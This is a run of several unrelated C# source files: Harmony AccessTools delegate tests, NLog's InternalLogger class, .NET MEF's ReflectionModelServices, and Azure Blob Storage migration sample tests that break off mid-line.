AccessTools.MethodDelegate<OpenMethodDel<IInterface>>(derivedTest, virtualCall: true)(derivedInstance, 456, ref f)); _ = Assert.Throws(typeof(ArgumentException), () => AccessTools.MethodDelegate<OpenMethodDel<IInterface>>(derivedTest, virtualCall: false)(derivedInstance, 456, ref f)); Assert.AreEqual("struct result 456 794 1", AccessTools.MethodDelegate<OpenMethodDel<IInterface>>(structTest, virtualCall: true)(structInstance, 456, ref f)); _ = Assert.Throws(typeof(ArgumentException), () => AccessTools.MethodDelegate<OpenMethodDel<IInterface>>(structTest, virtualCall: false)(structInstance, 456, ref f)); } [Test] public void Test_AccessTools_MethodDelegate_OpenInstanceDelegates_InterfaceMethod() { var f = 789f; var baseInstance = new Base(); var derivedInstance = new Derived(); var structInstance = new Struct(); Assert.AreEqual("base test 456 790 1", AccessTools.MethodDelegate<OpenMethodDel<IInterface>>(interfaceTest, virtualCall: true)(baseInstance, 456, ref f)); _ = Assert.Throws(typeof(ArgumentException), () => AccessTools.MethodDelegate<OpenMethodDel<IInterface>>(interfaceTest, virtualCall: false)(baseInstance, 456, ref f)); Assert.AreEqual("derived test 456 791 1", AccessTools.MethodDelegate<OpenMethodDel<IInterface>>(interfaceTest, virtualCall: true)(derivedInstance, 456, ref f)); _ = Assert.Throws(typeof(ArgumentException), () => AccessTools.MethodDelegate<OpenMethodDel<IInterface>>(interfaceTest, virtualCall: false)(derivedInstance, 456, ref f)); Assert.AreEqual("struct result 456 792 1", AccessTools.MethodDelegate<OpenMethodDel<IInterface>>(interfaceTest, virtualCall: true)(structInstance, 456, ref f)); _ = Assert.Throws(typeof(ArgumentException), () => AccessTools.MethodDelegate<OpenMethodDel<IInterface>>(interfaceTest, virtualCall: false)(structInstance, 456, ref f)); Assert.AreEqual("base test 456 793 2", AccessTools.MethodDelegate<OpenMethodDel<Base>>(interfaceTest, virtualCall: true)(baseInstance, 456, ref f)); _ = Assert.Throws(typeof(ArgumentException), () => AccessTools.MethodDelegate<OpenMethodDel<Base>>(interfaceTest, virtualCall: false)(baseInstance, 456, ref f)); Assert.AreEqual("derived test 456 794 2", AccessTools.MethodDelegate<OpenMethodDel<Base>>(interfaceTest, virtualCall: true)(derivedInstance, 456, ref f)); _ = Assert.Throws(typeof(ArgumentException), () => AccessTools.MethodDelegate<OpenMethodDel<Base>>(interfaceTest, virtualCall: false)(derivedInstance, 456, ref f)); // AccessTools.MethodDelegate<OpenMethodDel<Derived>>(interfaceTest, virtualCall: true)(baseInstance, 456, ref f)); // expected compile error // AccessTools.MethodDelegate<OpenMethodDel<Derived>>(interfaceTest, virtualCall: false)(baseInstance, 456, ref f)); // expected compile error Assert.AreEqual("derived test 456 795 3", AccessTools.MethodDelegate<OpenMethodDel<Derived>>(interfaceTest, virtualCall: true)(derivedInstance, 456, ref f)); _ = Assert.Throws(typeof(ArgumentException), () => AccessTools.MethodDelegate<OpenMethodDel<Derived>>(interfaceTest, virtualCall: false)(derivedInstance, 456, ref f)); Assert.AreEqual("struct result 456 796 1", AccessTools.MethodDelegate<OpenMethodDel<Struct>>(interfaceTest, virtualCall: true)(structInstance, 456, ref f)); _ = Assert.Throws(typeof(ArgumentException), () => AccessTools.MethodDelegate<OpenMethodDel<Struct>>(interfaceTest, virtualCall: false)(structInstance, 456, ref f)); } [Test] public void Test_AccessTools_MethodDelegate_StaticDelegates_InterfaceMethod() { var f = 789f; Assert.AreEqual("static test 456 790 1", AccessTools.MethodDelegate<MethodDel>(staticTest)(456, ref f)); // instance and virtualCall args are ignored Assert.AreEqual("static test 456 791 2", AccessTools.MethodDelegate<MethodDel>(staticTest, new Base(), virtualCall: false)(456, ref f)); } [Test] public void Test_AccessTools_MethodDelegate_InvalidDelegates() { _ = Assert.Throws(typeof(ArgumentException), () => AccessTools.MethodDelegate<Action>(interfaceTest)); _ = Assert.Throws(typeof(ArgumentException), () => AccessTools.MethodDelegate<Func<bool>>(baseTest)); _ = Assert.Throws(typeof(ArgumentException), () => AccessTools.MethodDelegate<Action<string>>(derivedTest)); _ = Assert.Throws(typeof(ArgumentException), () => AccessTools.MethodDelegate<Func<int, float, string>>(structTest)); } delegate string MethodDel(int n, ref float f); delegate string OpenMethodDel<T>(T instance, int n, ref float f); [Test] public void Test_AccessTools_HarmonyDelegate() { var someMethod = AccessTools.HarmonyDelegate<AccessToolsHarmonyDelegate.FooSomeMethod>(); var foo = new AccessToolsHarmonyDelegate.Foo(); Assert.AreEqual("[test]", someMethod(foo, "test")); } } }
// // Copyright (c) 2004-2011 Jaroslaw Kowalski <jaak@jkowalski.net> // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions // are met: // // * Redistributions of source code must retain the above copyright notice, // this list of conditions and the following disclaimer. // // * Redistributions in binary form must reproduce the above copyright notice, // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // // * Neither the name of Jaroslaw Kowalski nor the names of its // contributors may be used to endorse or promote products derived from this // software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF // THE POSSIBILITY OF SUCH DAMAGE. // namespace NLog.Common { using System; using System.ComponentModel; using System.Configuration; using System.Globalization; using System.IO; using System.Text; using NLog.Internal; using NLog.Time; #if !SILVERLIGHT using ConfigurationManager = System.Configuration.ConfigurationManager; #endif /// <summary> /// NLog internal logger. /// </summary> public static class InternalLogger { private static object lockObject = new object(); /// <summary> /// Initializes static members of the InternalLogger class. /// </summary> [System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Performance", "CA1810:InitializeReferenceTypeStaticFieldsInline", Justification = "Significant logic in .cctor()")] static InternalLogger() { #if !SILVERLIGHT LogToConsole = GetSetting("nlog.internalLogToConsole", "NLOG_INTERNAL_LOG_TO_CONSOLE", false); LogToConsoleError = GetSetting("nlog.internalLogToConsoleError", "NLOG_INTERNAL_LOG_TO_CONSOLE_ERROR", false); LogLevel = GetSetting("nlog.internalLogLevel", "NLOG_INTERNAL_LOG_LEVEL", LogLevel.Info); LogFile = GetSetting("nlog.internalLogFile", "NLOG_INTERNAL_LOG_FILE", string.Empty); Info("NLog internal logger initialized."); #else LogLevel = LogLevel.Info; #endif IncludeTimestamp = true; } /// <summary> /// Gets or sets the internal log level. /// </summary> public static LogLevel LogLevel { get; set; } /// <summary> /// Gets or sets a value indicating whether internal messages should be written to the console output stream. /// </summary> public static bool LogToConsole { get; set; } /// <summary> /// Gets or sets a value indicating whether internal messages should be written to the console error stream. /// </summary> public static bool LogToConsoleError { get; set; } /// <summary> /// Gets or sets the name of the internal log file. /// </summary> /// <remarks>A value of <see langword="null" /> value disables internal logging to a file.</remarks> public static string LogFile { get; set; } /// <summary> /// Gets or sets the text writer that will receive internal logs. /// </summary> public static TextWriter LogWriter { get; set; } /// <summary> /// Gets or sets a value indicating whether timestamp should be included in internal log output. /// </summary> public static bool IncludeTimestamp { get; set; } /// <summary> /// Gets a value indicating whether internal log includes Trace messages. /// </summary> public static bool IsTraceEnabled { get { return LogLevel.Trace >= LogLevel; } } /// <summary> /// Gets a value indicating whether internal log includes Debug messages. /// </summary> public static bool IsDebugEnabled { get { return LogLevel.Debug >= LogLevel; } } /// <summary> /// Gets a value indicating whether internal log includes Info messages. /// </summary> public static bool IsInfoEnabled { get { return LogLevel.Info >= LogLevel; } } /// <summary> /// Gets a value indicating whether internal log includes Warn messages. /// </summary> public static bool IsWarnEnabled { get { return LogLevel.Warn >= LogLevel; } } /// <summary> /// Gets a value indicating whether internal log includes Error messages. /// </summary> public static bool IsErrorEnabled { get { return LogLevel.Error >= LogLevel; } } /// <summary> /// Gets a value indicating whether internal log includes Fatal messages. /// </summary> public static bool IsFatalEnabled { get { return LogLevel.Fatal >= LogLevel; } } /// <summary> /// Logs the specified message at the specified level. /// </summary> /// <param name="level">Log level.</param> /// <param name="message">Message which may include positional parameters.</param> /// <param name="args">Arguments to the message.</param> public static void Log(LogLevel level, string message, params object[] args) { Write(level, message, args); } /// <summary> /// Logs the specified message at the specified level. /// </summary> /// <param name="level">Log level.</param> /// <param name="message">Log message.</param> public static void Log(LogLevel level, [Localizable(false)] string message) { Write(level, message, null); } /// <summary> /// Logs the specified message at the Trace level. /// </summary> /// <param name="message">Message which may include positional parameters.</param> /// <param name="args">Arguments to the message.</param> public static void Trace([Localizable(false)] string message, params object[] args) { Write(LogLevel.Trace, message, args); } /// <summary> /// Logs the specified message at the Trace level. /// </summary> /// <param name="message">Log message.</param> public static void Trace([Localizable(false)] string message) { Write(LogLevel.Trace, message, null); } /// <summary> /// Logs the specified message at the Debug level. /// </summary> /// <param name="message">Message which may include positional parameters.</param> /// <param name="args">Arguments to the message.</param> public static void Debug([Localizable(false)] string message, params object[] args) { Write(LogLevel.Debug, message, args); } /// <summary> /// Logs the specified message at the Debug level. /// </summary> /// <param name="message">Log message.</param> public static void Debug([Localizable(false)] string message) { Write(LogLevel.Debug, message, null); } /// <summary> /// Logs the specified message at the Info level. /// </summary> /// <param name="message">Message which may include positional parameters.</param> /// <param name="args">Arguments to the message.</param> public static void Info([Localizable(false)] string message, params object[] args) { Write(LogLevel.Info, message, args); } /// <summary> /// Logs the specified message at the Info level. /// </summary> /// <param name="message">Log message.</param> public static void Info([Localizable(false)] string message) { Write(LogLevel.Info, message, null); } /// <summary> /// Logs the specified message at the Warn level. /// </summary> /// <param name="message">Message which may include positional parameters.</param> /// <param name="args">Arguments to the message.</param> public static void Warn([Localizable(false)] string message, params object[] args) { Write(LogLevel.Warn, message, args); } /// <summary> /// Logs the specified message at the Warn level. /// </summary> /// <param name="message">Log message.</param> public static void Warn([Localizable(false)] string message) { Write(LogLevel.Warn, message, null); } /// <summary> /// Logs the specified message at the Error level. /// </summary> /// <param name="message">Message which may include positional parameters.</param> /// <param name="args">Arguments to the message.</param> public static void Error([Localizable(false)] string message, params object[] args) { Write(LogLevel.Error, message, args); } /// <summary> /// Logs the specified message at the Error level. /// </summary> /// <param name="message">Log message.</param> public static void Error([Localizable(false)] string message) { Write(LogLevel.Error, message, null); } /// <summary> /// Logs the specified message at the Fatal level. /// </summary> /// <param name="message">Message which may include positional parameters.</param> /// <param name="args">Arguments to the message.</param> public static void Fatal([Localizable(false)] string message, params object[] args) { Write(LogLevel.Fatal, message, args); } /// <summary> /// Logs the specified message at the Fatal level. /// </summary> /// <param name="message">Log message.</param> public static void Fatal([Localizable(false)] string message) { Write(LogLevel.Fatal, message, null); } private static void Write(LogLevel level, string message, object[] args) { if (level < LogLevel) { return; } if (string.IsNullOrEmpty(LogFile) && !LogToConsole && !LogToConsoleError && LogWriter == null) { return; } try { string formattedMessage = message; if (args != null) { formattedMessage = string.Format(CultureInfo.InvariantCulture, message, args); } var builder = new StringBuilder(message.Length + 32); if (IncludeTimestamp) { builder.Append(TimeSource.Current.Time.ToString("yyyy-MM-dd HH:mm:ss.ffff", CultureInfo.InvariantCulture)); builder.Append(" "); } builder.Append(level.ToString()); builder.Append(" "); builder.Append(formattedMessage); string msg = builder.ToString(); // log to file var logFile = LogFile; if (!string.IsNullOrEmpty(logFile)) { using (var textWriter = File.AppendText(logFile)) { textWriter.WriteLine(msg); } } // log to LogWriter var writer = LogWriter; if (writer != null) { lock (lockObject) { writer.WriteLine(msg); } } // log to console if (LogToConsole) { Console.WriteLine(msg); } // log to console error if (LogToConsoleError) { Console.Error.WriteLine(msg); } } catch (Exception exception) { if (exception.MustBeRethrown()) { throw; } // we have no place to log the message to so we ignore it } } #if !SILVERLIGHT private static string GetSettingString(string configName, string envName) { string settingValue = ConfigurationManager.AppSettings[configName]; if (settingValue == null) { try { settingValue = Environment.GetEnvironmentVariable(envName); } catch (Exception exception) { if (exception.MustBeRethrown()) { throw; } } } return settingValue; } private static LogLevel GetSetting(string configName, string envName, LogLevel defaultValue) { string value = GetSettingString(configName, envName); if (value == null) { return defaultValue; } try { return LogLevel.FromString(value); } catch (Exception exception) { if (exception.MustBeRethrown()) { throw; } return defaultValue; } } private static T GetSetting<T>(string configName, string envName, T defaultValue) { string value = GetSettingString(configName, envName); if (value == null) { return defaultValue; } try { return (T)Convert.ChangeType(value, typeof(T), CultureInfo.InvariantCulture); } catch (Exception exception) { if (exception.MustBeRethrown()) { throw; } return defaultValue; } } #endif } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using System; using System.Collections.Generic; using System.ComponentModel.Composition.Primitives; using System.Diagnostics.CodeAnalysis; using System.Globalization; using System.Linq; using System.Reflection; using Microsoft.Internal; using System.Diagnostics.Contracts; namespace System.ComponentModel.Composition.ReflectionModel { public static class ReflectionModelServices { public static Lazy<Type> GetPartType(ComposablePartDefinition partDefinition) { Requires.NotNull(partDefinition, nameof(partDefinition)); Contract.Ensures(Contract.Result<Lazy<Type>>() != null); ReflectionComposablePartDefinition reflectionPartDefinition = partDefinition as ReflectionComposablePartDefinition; if (reflectionPartDefinition == null) { throw ExceptionBuilder.CreateReflectionModelInvalidPartDefinition("partDefinition", partDefinition.GetType()); } return reflectionPartDefinition.GetLazyPartType(); } public static bool IsDisposalRequired(ComposablePartDefinition partDefinition) { Requires.NotNull(partDefinition, nameof(partDefinition)); ReflectionComposablePartDefinition reflectionPartDefinition = partDefinition as ReflectionComposablePartDefinition; if (reflectionPartDefinition == null) { throw ExceptionBuilder.CreateReflectionModelInvalidPartDefinition("partDefinition", partDefinition.GetType()); } return reflectionPartDefinition.IsDisposalRequired; } public static LazyMemberInfo GetExportingMember(ExportDefinition exportDefinition) { Requires.NotNull(exportDefinition, nameof(exportDefinition)); ReflectionMemberExportDefinition reflectionExportDefinition = exportDefinition as ReflectionMemberExportDefinition; if (reflectionExportDefinition == null) { throw new ArgumentException( string.Format(CultureInfo.CurrentCulture, SR.ReflectionModel_InvalidExportDefinition, exportDefinition.GetType()), "exportDefinition"); } return reflectionExportDefinition.ExportingLazyMember; } public static LazyMemberInfo GetImportingMember(ImportDefinition importDefinition) { Requires.NotNull(importDefinition, nameof(importDefinition)); ReflectionMemberImportDefinition reflectionMemberImportDefinition = importDefinition as ReflectionMemberImportDefinition; if (reflectionMemberImportDefinition == null) { throw new ArgumentException( string.Format(CultureInfo.CurrentCulture, SR.ReflectionModel_InvalidMemberImportDefinition, importDefinition.GetType()), "importDefinition"); } return reflectionMemberImportDefinition.ImportingLazyMember; } public static Lazy<ParameterInfo> GetImportingParameter(ImportDefinition importDefinition) { Requires.NotNull(importDefinition, nameof(importDefinition)); Contract.Ensures(Contract.Result<Lazy<ParameterInfo>>() != null); ReflectionParameterImportDefinition reflectionParameterImportDefinition = importDefinition as ReflectionParameterImportDefinition; if (reflectionParameterImportDefinition == null) { throw new ArgumentException( string.Format(CultureInfo.CurrentCulture, SR.ReflectionModel_InvalidParameterImportDefinition, importDefinition.GetType()), "importDefinition"); } return reflectionParameterImportDefinition.ImportingLazyParameter; } public static bool IsImportingParameter(ImportDefinition importDefinition) { Requires.NotNull(importDefinition, nameof(importDefinition)); ReflectionImportDefinition reflectionImportDefinition = importDefinition as ReflectionImportDefinition; if (reflectionImportDefinition == null) { throw new ArgumentException( string.Format(CultureInfo.CurrentCulture, SR.ReflectionModel_InvalidImportDefinition, importDefinition.GetType()), "importDefinition"); } return (importDefinition is ReflectionParameterImportDefinition); } public static bool IsExportFactoryImportDefinition(ImportDefinition importDefinition) { Requires.NotNull(importDefinition, nameof(importDefinition)); return (importDefinition is IPartCreatorImportDefinition); } public static ContractBasedImportDefinition GetExportFactoryProductImportDefinition(ImportDefinition importDefinition) { Requires.NotNull(importDefinition, nameof(importDefinition)); Contract.Ensures(Contract.Result<ContractBasedImportDefinition>() != null); IPartCreatorImportDefinition partCreatorImportDefinition = importDefinition as IPartCreatorImportDefinition; if (partCreatorImportDefinition == null) { throw new ArgumentException( string.Format(CultureInfo.CurrentCulture, SR.ReflectionModel_InvalidImportDefinition, importDefinition.GetType()), "importDefinition"); } return partCreatorImportDefinition.ProductImportDefinition; } [System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Design", "CA1006:DoNotNestGenericTypesInMemberSignatures")] public static ComposablePartDefinition CreatePartDefinition( Lazy<Type> partType, bool isDisposalRequired, Lazy<IEnumerable<ImportDefinition>> imports, Lazy<IEnumerable<ExportDefinition>> exports, Lazy<IDictionary<string, object>> metadata, ICompositionElement origin) { Requires.NotNull(partType, nameof(partType)); Contract.Ensures(Contract.Result<ComposablePartDefinition>() != null); return new ReflectionComposablePartDefinition( new ReflectionPartCreationInfo( partType, isDisposalRequired, imports, exports, metadata, origin)); } [SuppressMessage("Microsoft.Design", "CA1006:DoNotNestGenericTypesInMemberSignatures")] public static ExportDefinition CreateExportDefinition( LazyMemberInfo exportingMember, string contractName, Lazy<IDictionary<string, object>> metadata, ICompositionElement origin) { Requires.NotNullOrEmpty(contractName, "contractName"); Requires.IsInMembertypeSet(exportingMember.MemberType, "exportingMember", MemberTypes.Field | MemberTypes.Property | MemberTypes.NestedType | MemberTypes.TypeInfo | MemberTypes.Method); Contract.Ensures(Contract.Result<ExportDefinition>() != null); return new ReflectionMemberExportDefinition( exportingMember, new LazyExportDefinition(contractName, metadata), origin); } [SuppressMessage("Microsoft.Design", "CA1006:DoNotNestGenericTypesInMemberSignatures")] public static ContractBasedImportDefinition CreateImportDefinition( LazyMemberInfo importingMember, string contractName, string requiredTypeIdentity, IEnumerable<KeyValuePair<string, Type>> requiredMetadata, ImportCardinality cardinality, bool isRecomposable, CreationPolicy requiredCreationPolicy, ICompositionElement origin) { return CreateImportDefinition(importingMember, contractName, requiredTypeIdentity, requiredMetadata, cardinality, isRecomposable, requiredCreationPolicy, MetadataServices.EmptyMetadata, false, origin); } [System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Design", "CA1006:DoNotNestGenericTypesInMemberSignatures")] public static ContractBasedImportDefinition CreateImportDefinition( LazyMemberInfo importingMember, string contractName, string requiredTypeIdentity, IEnumerable<KeyValuePair<string, Type>> requiredMetadata, ImportCardinality cardinality, bool isRecomposable, CreationPolicy requiredCreationPolicy, IDictionary<string, object> metadata, bool isExportFactory, ICompositionElement origin) { return CreateImportDefinition( importingMember, contractName, requiredTypeIdentity, requiredMetadata, cardinality, isRecomposable, false, requiredCreationPolicy, metadata, isExportFactory, origin); } [System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Design", "CA1006:DoNotNestGenericTypesInMemberSignatures")] public static ContractBasedImportDefinition CreateImportDefinition( LazyMemberInfo importingMember, string contractName, string requiredTypeIdentity, IEnumerable<KeyValuePair<string, Type>> requiredMetadata, ImportCardinality cardinality, bool isRecomposable, bool isPreRequisite, CreationPolicy requiredCreationPolicy, IDictionary<string, object> metadata, bool isExportFactory, ICompositionElement origin) { Requires.NotNullOrEmpty(contractName, "contractName"); Requires.IsInMembertypeSet(importingMember.MemberType, "importingMember", MemberTypes.Property | MemberTypes.Field); Contract.Ensures(Contract.Result<ContractBasedImportDefinition>() != null); if (isExportFactory) { return new PartCreatorMemberImportDefinition( importingMember, origin, new ContractBasedImportDefinition( contractName, requiredTypeIdentity, requiredMetadata, cardinality, isRecomposable, isPreRequisite, CreationPolicy.NonShared, metadata)); } else { return new ReflectionMemberImportDefinition( importingMember, contractName, requiredTypeIdentity, requiredMetadata, cardinality, isRecomposable, isPreRequisite, requiredCreationPolicy, metadata, origin); } } [System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Design", "CA1006:DoNotNestGenericTypesInMemberSignatures")] public static ContractBasedImportDefinition CreateImportDefinition( Lazy<ParameterInfo> parameter, string contractName, string requiredTypeIdentity, IEnumerable<KeyValuePair<string, Type>> requiredMetadata, ImportCardinality cardinality, CreationPolicy requiredCreationPolicy, ICompositionElement origin) { return CreateImportDefinition(parameter, contractName, requiredTypeIdentity, requiredMetadata, cardinality, requiredCreationPolicy, MetadataServices.EmptyMetadata, false, origin); } [SuppressMessage("Microsoft.Design", "CA1006:DoNotNestGenericTypesInMemberSignatures")] public static ContractBasedImportDefinition CreateImportDefinition( Lazy<ParameterInfo> parameter, string contractName, string requiredTypeIdentity, IEnumerable<KeyValuePair<string, Type>> requiredMetadata, ImportCardinality cardinality, CreationPolicy requiredCreationPolicy, IDictionary<string, object> metadata, bool isExportFactory, ICompositionElement origin) { Requires.NotNull(parameter, nameof(parameter)); Requires.NotNullOrEmpty(contractName, "contractName"); Contract.Ensures(Contract.Result<ContractBasedImportDefinition>() != null); if (isExportFactory) { return new PartCreatorParameterImportDefinition( parameter, origin, new ContractBasedImportDefinition( contractName, requiredTypeIdentity, requiredMetadata, cardinality, false, true, CreationPolicy.NonShared, metadata)); } else { return new ReflectionParameterImportDefinition( parameter, contractName, requiredTypeIdentity, requiredMetadata, cardinality, requiredCreationPolicy, metadata, origin); } } public static bool TryMakeGenericPartDefinition(ComposablePartDefinition partDefinition, IEnumerable<Type> genericParameters, out ComposablePartDefinition specialization) { Requires.NotNull(partDefinition, nameof(partDefinition)); specialization = null; ReflectionComposablePartDefinition reflectionPartDefinition = partDefinition as ReflectionComposablePartDefinition; if (reflectionPartDefinition == null) { throw ExceptionBuilder.CreateReflectionModelInvalidPartDefinition("partDefinition", partDefinition.GetType()); } return reflectionPartDefinition.TryMakeGenericPartDefinition(genericParameters.ToArray(), out specialization); } } internal class ReflectionPartCreationInfo : IReflectionPartCreationInfo { private readonly Lazy<Type> _partType; private readonly Lazy<IEnumerable<ImportDefinition>> _imports; private readonly Lazy<IEnumerable<ExportDefinition>> _exports; private readonly Lazy<IDictionary<string, object>> _metadata; private readonly ICompositionElement _origin; private ConstructorInfo _constructor; private bool _isDisposalRequired; public ReflectionPartCreationInfo( Lazy<Type> partType, bool isDisposalRequired, Lazy<IEnumerable<ImportDefinition>> imports, Lazy<IEnumerable<ExportDefinition>> exports, Lazy<IDictionary<string, object>> metadata, ICompositionElement origin) { Assumes.NotNull(partType); _partType = partType; _isDisposalRequired = isDisposalRequired; _imports = imports; _exports = exports; _metadata = metadata; _origin = origin; } public Type GetPartType() { return _partType.GetNotNullValue("type"); } public Lazy<Type> GetLazyPartType() { return _partType; } public ConstructorInfo GetConstructor() { if (_constructor == null) { ConstructorInfo[] constructors = null; constructors = GetImports() .OfType<ReflectionParameterImportDefinition>() .Select(parameterImport => parameterImport.ImportingLazyParameter.Value.Member) .OfType<ConstructorInfo>() .Distinct() .ToArray(); if (constructors.Length == 1) { _constructor = constructors[0]; } else if (constructors.Length == 0) { _constructor = GetPartType().GetConstructor(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance, null, Type.EmptyTypes, null); } } return _constructor; } public bool IsDisposalRequired { get { return _isDisposalRequired; } } public bool IsIdentityComparison { get { return true; } } public IDictionary<string, object> GetMetadata() { return (_metadata != null) ? _metadata.Value : null; } public IEnumerable<ExportDefinition> GetExports() { if (_exports == null) { yield break; } IEnumerable<ExportDefinition> exports = _exports.Value; if (exports == null) { yield break; } foreach (ExportDefinition export in exports) { ReflectionMemberExportDefinition reflectionExport = export as ReflectionMemberExportDefinition; if (reflectionExport == null) { throw new InvalidOperationException( string.Format(CultureInfo.CurrentCulture, SR.ReflectionModel_InvalidExportDefinition, export.GetType())); } yield return reflectionExport; } } public IEnumerable<ImportDefinition> GetImports() { if (_imports == null) { yield break; } IEnumerable<ImportDefinition> imports = _imports.Value; if (imports == null) { yield break; } foreach (ImportDefinition import in imports) { ReflectionImportDefinition reflectionImport = import as ReflectionImportDefinition; if (reflectionImport == null) { throw new InvalidOperationException( string.Format(CultureInfo.CurrentCulture, SR.ReflectionModel_InvalidMemberImportDefinition, import.GetType())); } yield return reflectionImport; } } public string DisplayName { get { return GetPartType().GetDisplayName(); } } public ICompositionElement Origin { get { return _origin; } } } internal class LazyExportDefinition : ExportDefinition { private readonly Lazy<IDictionary<string, object>> _metadata; public LazyExportDefinition(string contractName, Lazy<IDictionary<string, object>> metadata) : base(contractName, (IDictionary<string, object>)null) { _metadata = metadata; } public override IDictionary<string, object> Metadata { get { return _metadata.Value ?? MetadataServices.EmptyMetadata; } } } }
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. using System; using System.Collections.Generic; using System.IO; using System.Linq; using Azure.Identity; using Azure.Storage; using Azure.Storage.Blobs; using Azure.Storage.Blobs.Specialized; using Azure.Storage.Blobs.Models; using Azure.Storage.Sas; using NUnit.Framework; using System.Text; using System.Threading.Tasks; using System.Security.Cryptography; namespace Azure.Storage.Blobs.Samples { /// <summary> /// v12 snippets for Blob Storage migration samples. /// </summary> public class Sample03_Migrations : SampleTest { /// <summary> /// Authenticate with a token credential. /// </summary> [Test] public void AuthWithTokenCredential() { string serviceUri = this.StorageAccountBlobUri.ToString(); #region Snippet:SampleSnippetsBlobMigration_TokenCredential BlobServiceClient client = new BlobServiceClient(new Uri(serviceUri), new DefaultAzureCredential()); #endregion client.GetProperties(); Assert.Pass(); } /// <summary> /// Authenticate with a SAS. /// </summary> [Test] public void AuthWithSasCredential() { //setup blob string containerName = Randomize("sample-container"); string blobName = Randomize("sample-file"); var container = new BlobContainerClient(ConnectionString, containerName); try { container.Create(); container.GetBlobClient(blobName).Upload(new MemoryStream(Encoding.UTF8.GetBytes("hello world"))); // build SAS URI for sample BlobSasBuilder sas = new BlobSasBuilder { ExpiresOn = DateTimeOffset.UtcNow.AddHours(1) }; sas.SetPermissions(BlobSasPermissions.All); StorageSharedKeyCredential credential = new StorageSharedKeyCredential(StorageAccountName, StorageAccountKey); UriBuilder sasUri = new UriBuilder(this.StorageAccountBlobUri); sasUri.Path = $"{containerName}/{blobName}"; sasUri.Query = sas.ToSasQueryParameters(credential).ToString(); string blobLocationWithSas = sasUri.Uri.ToString(); #region Snippet:SampleSnippetsBlobMigration_SasUri BlobClient blob = new BlobClient(new Uri(blobLocationWithSas)); #endregion var stream = new MemoryStream(); blob.DownloadTo(stream); Assert.Greater(stream.Length, 0); } finally { container.Delete(); } } /// <summary> /// Authenticate with a connection string. /// </summary> [Test] public void AuthWithConnectionString() { string connectionString = this.ConnectionString; #region Snippet:SampleSnippetsBlobMigration_ConnectionString BlobServiceClient service = new BlobServiceClient(connectionString); #endregion service.GetProperties(); Assert.Pass(); } /// <summary> /// Authenticate with a connection string. /// </summary> [Test] public async Task AuthWithConnectionStringDirectToBlob() { // setup blob string containerName = Randomize("sample-container"); string blobName = Randomize("sample-file"); var container = new BlobContainerClient(ConnectionString, containerName); try { await container.CreateAsync(); await container.GetBlobClient(blobName).UploadAsync(new MemoryStream(Encoding.UTF8.GetBytes("hello world"))); string connectionString = this.ConnectionString; #region Snippet:SampleSnippetsBlobMigration_ConnectionStringDirectBlob BlobClient blob = new BlobClient(connectionString, containerName, blobName); #endregion var stream = new MemoryStream(); blob.DownloadTo(stream); Assert.Greater(stream.Length, 0); } finally { await container.DeleteAsync(); } } /// <summary> /// Authenticate with a shared key. /// </summary> [Test] public void AuthWithSharedKey() { string accountName = StorageAccountName; string accountKey = StorageAccountKey; string blobServiceUri = StorageAccountBlobUri.ToString(); #region Snippet:SampleSnippetsBlobMigration_SharedKey StorageSharedKeyCredential credential = new StorageSharedKeyCredential(accountName, accountKey); BlobServiceClient service = new BlobServiceClient(new Uri(blobServiceUri), credential); #endregion service.GetProperties(); Assert.Pass(); } /// <summary> /// Authenticate with a shared key. /// </summary> [Test] public async Task CreateSharedAccessPolicy() { string connectionString = this.ConnectionString; string containerName = Randomize("sample-container"); BlobContainerClient containerClient = new BlobContainerClient(connectionString, containerName); try { await containerClient.CreateIfNotExistsAsync(); #region Snippet:SampleSnippetsBlobMigration_SharedAccessPolicy // Create one or more stored access policies. List<BlobSignedIdentifier> signedIdentifiers = new List<BlobSignedIdentifier> { new BlobSignedIdentifier { Id = "mysignedidentifier", AccessPolicy = new BlobAccessPolicy { StartsOn = DateTimeOffset.UtcNow.AddHours(-1), ExpiresOn = DateTimeOffset.UtcNow.AddDays(1), Permissions = "rw" } } }; // Set the container's access policy. await containerClient.SetAccessPolicyAsync(permissions: signedIdentifiers); #endregion BlobContainerAccessPolicy containerAccessPolicy = containerClient.GetAccessPolicy(); Assert.AreEqual(signedIdentifiers.First().Id, containerAccessPolicy.SignedIdentifiers.First().Id); } finally { await containerClient.DeleteIfExistsAsync(); } } [Test] public async Task CreateContainer() { string connectionString = this.ConnectionString; string containerName = Randomize("sample-container"); // use extra variable so the snippet gets variable declarations but we still get the try/finally var containerClientTracker = new BlobServiceClient(connectionString).GetBlobContainerClient(containerName); try { #region Snippet:SampleSnippetsBlobMigration_CreateContainer BlobServiceClient blobServiceClient = new BlobServiceClient(connectionString); BlobContainerClient containerClient = blobServiceClient.GetBlobContainerClient(containerName); await containerClient.CreateAsync(); #endregion // pass if success containerClient.GetProperties(); } finally { await containerClientTracker.DeleteIfExistsAsync(); } } [Test] public async Task CreateContainerShortcut() { string 